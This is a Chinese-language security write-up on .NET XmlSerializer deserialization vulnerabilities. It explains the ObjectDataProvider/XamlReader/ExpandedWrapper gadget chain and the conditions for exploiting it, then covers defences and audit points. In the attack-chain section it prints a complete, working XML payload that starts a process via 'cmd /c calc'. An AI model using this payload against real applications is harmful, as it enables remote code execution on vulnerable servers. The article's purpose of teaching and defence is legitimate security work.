漏洞分析之XmlSerializer反序列化漏洞
字数 1562 2025-08-22 18:37:22

XmlSerializer反序列化漏洞深度分析与防御指南

一、序列化与反序列化基础概念

1.1 序列化与反序列化定义

  • 序列化:将对象状态转换为可保持或传输的形式(如XML、二进制、JSON等)的过程
  • 反序列化:将序列化后的数据流转换回对象的过程

1.2 .NET中的序列化技术

  1. 二进制序列化

    • 保持类型完整性
    • 适用于多次调用应用程序时保持对象状态
    • 支持流、磁盘、内存和网络传输
  2. XML和SOAP序列化

    • 仅序列化公共属性和字段
    • 不保持类型完整性
    • 适合跨平台数据共享
  3. JSON序列化

    • 仅序列化公共属性
    • 不保持类型完整性
    • 适合Web数据交换

二、XmlSerializer工作机制

2.1 基本用法

// 序列化示例
[XmlRoot("test")]
public class TestClass {
    [XmlElement]
    public string id { get; set; }
}

TestClass obj = new TestClass { id = "404s" };
XmlSerializer serializer = new XmlSerializer(typeof(TestClass));
using (Stream stream = new FileStream("test.xml", FileMode.Create)) {
    serializer.Serialize(stream, obj);
}

// 反序列化示例
XmlSerializer deserializer = new XmlSerializer(typeof(TestClass));
using (Stream stream = new FileStream("test.xml", FileMode.Open)) {
    TestClass newObj = (TestClass)deserializer.Deserialize(stream);
}

2.2 关键特性

  • 使用[XmlRoot]指定根元素名称
  • 使用[XmlElement]标记需要序列化的属性/字段
  • 支持复杂对象、集合、DataSet等的序列化

三、XmlSerializer反序列化漏洞原理

3.1 漏洞核心

XmlSerializer构造时传入的Type参数可控,且反序列化的XML数据可控时,攻击者可构造恶意XML实现远程代码执行(RCE)。

3.2 关键攻击点

  1. Type参数可控

    // 三种获取Type的方式都可能成为攻击入口
    XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));  // typeof()
    XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType());    // GetType()
    XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("Namespace.Class")); // 字符串类型名
    
  2. ObjectDataProvider攻击链

    • ObjectDataProvider可包装和创建可用作绑定源的对象
    • 可调用任意方法并传入参数

四、完整攻击链分析

4.1 攻击链组成

XmlSerializer -> XamlReader -> ExpandedWrapper -> ObjectDataProvider -> Process

4.2 关键组件解析

  1. ObjectDataProvider

    var objDat = new ObjectDataProvider();
    objDat.ObjectInstance = new Process();
    objDat.MethodParameters.Add("calc");
    objDat.MethodName = "Start";
    
  2. ExpandedWrapper

    • 用于包装不可直接序列化的类
    • 扩展类的属性使其可序列化
  3. XamlReader.Parse

    • 解析XAML字符串并创建对象图
    • 可执行嵌入的恶意XAML代码
  4. ResourceDictionary

    • WPF资源字典,使用XAML语法
    • 可嵌入ObjectDataProvider调用系统命令

4.3 典型攻击Payload

<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework],[System.Windows.Data.ObjectDataProvider, PresentationFramework]], System.Data.Services">
  <ExpandedWrapperOfXamlReaderObjectDataProvider>
    <ExpandedElement/>
    <ProjectedProperty0>
      <MethodName>Parse</MethodName>
      <MethodParameters>
        <anyType xsi:type="xsd:string">
          <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
            <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
              <ObjectDataProvider.MethodParameters>
                <b:String>cmd</b:String>
                <b:String>/c calc</b:String>
              </ObjectDataProvider.MethodParameters>
            </ObjectDataProvider>
          </ResourceDictionary>]]>
        </anyType>
      </MethodParameters>
      <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
    </ProjectedProperty0>
  </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

五、漏洞利用条件

  1. 必要条件

    • XmlSerializer构造时的Type参数可控
    • 反序列化的XML数据可控
  2. 依赖组件

    • PresentationFramework.dll(包含XamlReader等类)
    • System.Data.Services.dll(包含ExpandedWrapper等类)

六、防御措施

6.1 输入验证

  • 严格校验反序列化的XML数据来源
  • 使用XML Schema验证XML结构

6.2 类型限制

  • 使用白名单机制限制可反序列化的类型
  • 避免直接使用用户输入构造Type参数
// 安全做法 - 使用固定类型
XmlSerializer serializer = new XmlSerializer(typeof(SafeClass));

// 不安全做法 - 类型来自用户输入
string userType = GetUserInput();
XmlSerializer unsafeSerializer = new XmlSerializer(Type.GetType(userType));

6.3 安全配置

  • 禁用不必要的XML特性(如DTD、外部实体解析)
  • 使用XmlReader进行安全解析
XmlReaderSettings settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};

using (XmlReader reader = XmlReader.Create("input.xml", settings)) {
    XmlSerializer serializer = new XmlSerializer(typeof(SafeClass));
    SafeClass obj = (SafeClass)serializer.Deserialize(reader);
}

6.4 代码审计要点

  1. 检查所有XmlSerializer实例化点
  2. 确认Type参数是否来自不可信源
  3. 检查XML数据输入是否经过验证
  4. 查找ObjectDataProviderXamlReader等危险类的使用

七、检测与验证

7.1 漏洞检测方法

  1. 代码审计查找XmlSerializer不安全使用
  2. 模糊测试尝试注入恶意XML
  3. 监控异常日志中相关错误

7.2 安全验证示例

// 安全验证示例
public object SafeDeserialize(string xml, Type allowedType) {
    // 验证类型是否在允许列表中
    if (allowedType != typeof(SafeClass)) {
        throw new SecurityException("Type not allowed");
    }
    
    XmlReaderSettings settings = new XmlReaderSettings {
        DtdProcessing = DtdProcessing.Prohibit,
        XmlResolver = null
    };

    using (StringReader stringReader = new StringReader(xml))
    using (XmlReader xmlReader = XmlReader.Create(stringReader, settings)) {
        XmlSerializer serializer = new XmlSerializer(allowedType);
        return serializer.Deserialize(xmlReader);
    }
}

八、总结

XmlSerializer反序列化漏洞的核心在于攻击者能够控制反序列化的类型和XML数据内容,通过构造特殊的对象链(如ObjectDataProvider + XamlReader)最终实现任意代码执行。防御此类漏洞需要:

  1. 严格控制XmlSerializer的Type参数来源
  2. 对输入XML进行严格验证和过滤
  3. 使用安全的XML解析配置
  4. 避免反序列化不可信数据
  5. 定期进行代码安全审计

通过理解漏洞原理和攻击链,开发者可以更好地编写安全代码,有效防御此类反序列化攻击。

XmlSerializer反序列化漏洞深度分析与防御指南 一、序列化与反序列化基础概念 1.1 序列化与反序列化定义 序列化 :将对象状态转换为可保持或传输的形式(如XML、二进制、JSON等)的过程 反序列化 :将序列化后的数据流转换回对象的过程 1.2 .NET中的序列化技术 二进制序列化 : 保持类型完整性 适用于多次调用应用程序时保持对象状态 支持流、磁盘、内存和网络传输 XML和SOAP序列化 : 仅序列化公共属性和字段 不保持类型完整性 适合跨平台数据共享 JSON序列化 : 仅序列化公共属性 不保持类型完整性 适合Web数据交换 二、XmlSerializer工作机制 2.1 基本用法 2.2 关键特性 使用 [XmlRoot] 指定根元素名称 使用 [XmlElement] 标记需要序列化的属性/字段 支持复杂对象、集合、DataSet等的序列化 三、XmlSerializer反序列化漏洞原理 3.1 漏洞核心 当 XmlSerializer 构造时传入的 Type 参数可控,且反序列化的XML数据可控时,攻击者可构造恶意XML实现远程代码执行(RCE)。 3.2 关键攻击点 Type参数可控 : ObjectDataProvider攻击链 : ObjectDataProvider 可包装和创建可用作绑定源的对象 可调用任意方法并传入参数 四、完整攻击链分析 4.1 攻击链组成 4.2 关键组件解析 ObjectDataProvider : ExpandedWrapper : 用于包装不可直接序列化的类 扩展类的属性使其可序列化 XamlReader.Parse : 解析XAML字符串并创建对象图 可执行嵌入的恶意XAML代码 ResourceDictionary : WPF资源字典,使用XAML语法 可嵌入 ObjectDataProvider 调用系统命令 4.3 典型攻击Payload 五、漏洞利用条件 必要条件 : XmlSerializer 构造时的 Type 参数可控 反序列化的XML数据可控 依赖组件 : PresentationFramework.dll (包含XamlReader等类) System.Data.Services.dll (包含ExpandedWrapper等类) 六、防御措施 6.1 输入验证 严格校验反序列化的XML数据来源 使用XML Schema验证XML结构 6.2 类型限制 使用白名单机制限制可反序列化的类型 避免直接使用用户输入构造Type参数 6.3 安全配置 禁用不必要的XML特性(如DTD、外部实体解析) 使用 XmlReader 进行安全解析 6.4 代码审计要点 检查所有 XmlSerializer 实例化点 确认 Type 参数是否来自不可信源 检查XML数据输入是否经过验证 查找 ObjectDataProvider 、 XamlReader 等危险类的使用 七、检测与验证 7.1 漏洞检测方法 代码审计查找 XmlSerializer 不安全使用 模糊测试尝试注入恶意XML 监控异常日志中相关错误 7.2 安全验证示例 八、总结 XmlSerializer反序列化漏洞的核心在于攻击者能够控制反序列化的类型和XML数据内容,通过构造特殊的对象链(如ObjectDataProvider + XamlReader)最终实现任意代码执行。防御此类漏洞需要: 严格控制 XmlSerializer 的Type参数来源 对输入XML进行严格验证和过滤 使用安全的XML解析配置 避免反序列化不可信数据 定期进行代码安全审计 通过理解漏洞原理和攻击链,开发者可以更好地编写安全代码,有效防御此类反序列化攻击。